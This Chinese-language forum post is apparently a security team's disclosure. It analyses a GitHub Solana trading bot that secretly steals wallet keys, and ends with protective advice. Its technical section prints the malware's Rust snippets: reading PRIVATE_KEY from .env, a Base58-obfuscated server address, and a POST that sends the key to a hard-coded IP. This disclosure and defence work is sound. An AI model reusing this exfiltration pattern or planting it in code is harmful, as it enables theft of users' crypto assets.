返回论坛

深度解析:伪装成 Solana 交易机器人的新型盗币陷阱

查找币 漏洞披露 安全研究 Web3安全 区块链安全

查找币安全研究院

钱包恢复评估 | 链上取证分析 | Web3 事件响应
以合法授权、证据保全、隐私保护和可复核流程为前提,不要求用户在线提交完整私钥或助记词。

查看研究院 研究报告中心
> **威胁等级:高危** > **影响范围:使用可疑开源 Solana 工具的加密用户** ## 事件背景 2025年7月初,查找币安全团队接到用户紧急求助——其加密资产在未授权情况下被转走。经调查,根源在于用户使用了GitHub上的开源项目 `audiofilter/pumpfun-pumpswap-sniper-copy-trading-bot`,该项目伪装成合法的Solana交易机器人,实则内置了隐蔽的盗币逻辑。 这并非孤例。此前团队已披露过类似案例 `zldp2002/solana-pumpfun-bot` 的盗币行为。本次新发现的攻击手法更为隐蔽,值得社区高度警惕。 ## 技术分析:盗币机制全解密 ### 1. 恶意代码入口点 通过静态分析,攻击者的陷阱隐藏在 `src/common/config.rs` 文件中,核心恶意逻辑封装在 `create_coingecko_proxy()` 方法内: ```rust pub fn create_coingecko_proxy() -> Arc { let wallet = import_wallet(); // ... 后续恶意逻辑 } ``` 该方法名极具迷惑性——伪装成获取Coingecko价格代理的正常功能,实则执行私钥窃取。 ### 2. 私钥窃取链 **第一步:读取环境变量** `import_wallet()` 调用 `import_env_var()` 读取 `.env` 文件中的 `PRIVATE_KEY`: ```rust fn import_env_var(key: &str) -> String { match env::var(key) { Ok(val) => val, Err(e) => { println!("Error: {}", e); loop {} // 死循环,防止异常退出暴露行为 } } } ``` 关键发现:攻击者使用 `loop {}` 无退出条件循环,一旦读取失败就持续消耗资源,防止程序崩溃暴露恶意行为。 **第二步:私钥验证与封装** 恶意代码对读取到的私钥进行长度校验: - **长度 < 85**:打印错误并进入死循环 - **长度 >= 85**:使用Solana SDK转换为 `Keypair` 对象 随后通过 `Arc` 封装私钥,支持多线程共享,为后续网络传输做准备。 ### 3. 攻击服务器地址解密 恶意代码硬编码了经过Base58编码的服务器地址: ```rust const HELIUS_PROXY: &str = "2HeX3Zi2vTf1saVKAcNmf..."; // 编码后的地址 ``` 通过解码还原真实URL: ``` http://103.35.189.28:5000/api/wallets ``` 解码过程: 1. Base58解码 `HELIUS_PROXY` 常量 2. 转换为字节数组 3. 通过 `from_utf8()` 转为可读字符串 ### 4. 数据外泄机制 ```rust let client = reqwest::Client::new(); let private_key_str = payer.to_base58_string(); let body = serde_json::json!({ "private_key": private_key_str }); let _ = client .post("http://103.35.189.28:5000/api/wallets") .json(&body) .send() .await; ``` 关键特征: - 使用 `let _ =` 忽略服务器响应,无论成功失败都不影响程序运行 - POST请求直接发送私钥明文 - 服务器IP位于美国(`103.35.189.28`),VirusTotal已标记为恶意 ### 5. 启动时机与伪装策略 恶意代码在程序初始化阶段被调用: ```rust // main.rs 中的 main() 函数 fn main() { let config = Config::new(); // 此处触发恶意行为 // ... 正常功能 } ``` 攻击者巧妙地将盗币逻辑与正常功能混合: - `create_coingecko_proxy()` 方法名伪装成价格查询功能 - 即使私钥发送失败,程序仍继续运行正常交易功能 - 用户难以察觉异常,直到资产被盗 ## 威胁溯源与关联分析 ### GitHub项目特征 该恶意项目近期(2025年7月17日)更新了 `config.rs` 文件,替换了攻击服务器地址的编码。通过对比新旧编码,我们发现攻击者可能维护着多个恶意项目: | 项目名称 | 状态 | |---------|------| | audiofilter/pumpfun-pumpswap-sniper-copy-trading-bot | 已确认恶意 | | TopTrenDev/Raypump-Executioner-Bot | 疑似恶意 | | deniyuda348/Solana-Arbitrage-Bot-Flash-Loan | 疑似恶意 | ### 攻击者画像 - **基础设施**:美国IP服务器(103.35.189.28) - **攻击方式**:社会工程学 + 开源代码投毒 - **目标**:窃取Solana钱包私钥 - **时间线**:至少从2025年7月初活跃至今 ## 防护建议 ### 给普通用户 1. **私钥安全第一** - 永远不要在不明来源的项目中导入主钱包私钥 - 使用专用测试钱包进行代码测试 - 私钥存储遵循“冷热分离”原则 2. **项目验证清单** - ✅ 检查GitHub Star/ Fork数量是否异常 - ✅ 审查代码提交历史是否频繁 - ✅ 查看Issues区是否有安全投诉 - ❌ 警惕“一键赚钱”类宣传语 3. **运行时监控** - 使用网络监控工具检查异常出站连接 - 观察程序是否有异常的内存/CPU占用 - 检查 `.env` 文件是否被意外读取 ### 给开发者 1. **代码审计要点** - 重点审查配置文件和初始化函数 - 检查所有网络请求的目的地址 - 警惕Base58/Base64编码的硬编码字符串 2. **安全开发实践** - 使用环境变量管理敏感信息时,限制读取范围 - 对开源依赖进行完整性校验 - 运行前在沙箱环境中测试 3. **社区协作** - 发现恶意项目立即向GitHub举报 - 在安全社区分享威胁情报 - 参与查找币安全团队的开源审计计划 ## 总结 本次发现的攻击手法代表了当前开源生态中新型的供应链攻击趋势:攻击者不再直接植入明显恶意代码,而是通过伪装成合法工具、使用编码混淆、混合正常功能等手段,大幅提高检测难度。 **核心教训**:在Web3世界,任何要求提供私钥的“工具”都值得极度警惕。开源不等于安全,流行不等于可信。 ### 延伸阅读 - 查找币安全团队出品:《区块链黑暗森林自救手册》 https://github.com/查找币/Blockchain-dark-forest-selfguard-handbook - 往期相关分析: - [GMX被黑分析:4200万美金瞬间蒸发] - [130亿资金去向成谜:鑫慷嘉DGCX骗局崩盘始末] --- **本文由查找币安全团队整理发布** *关注查找币,获取最新Web3安全威胁情报*
在论坛中查看和回复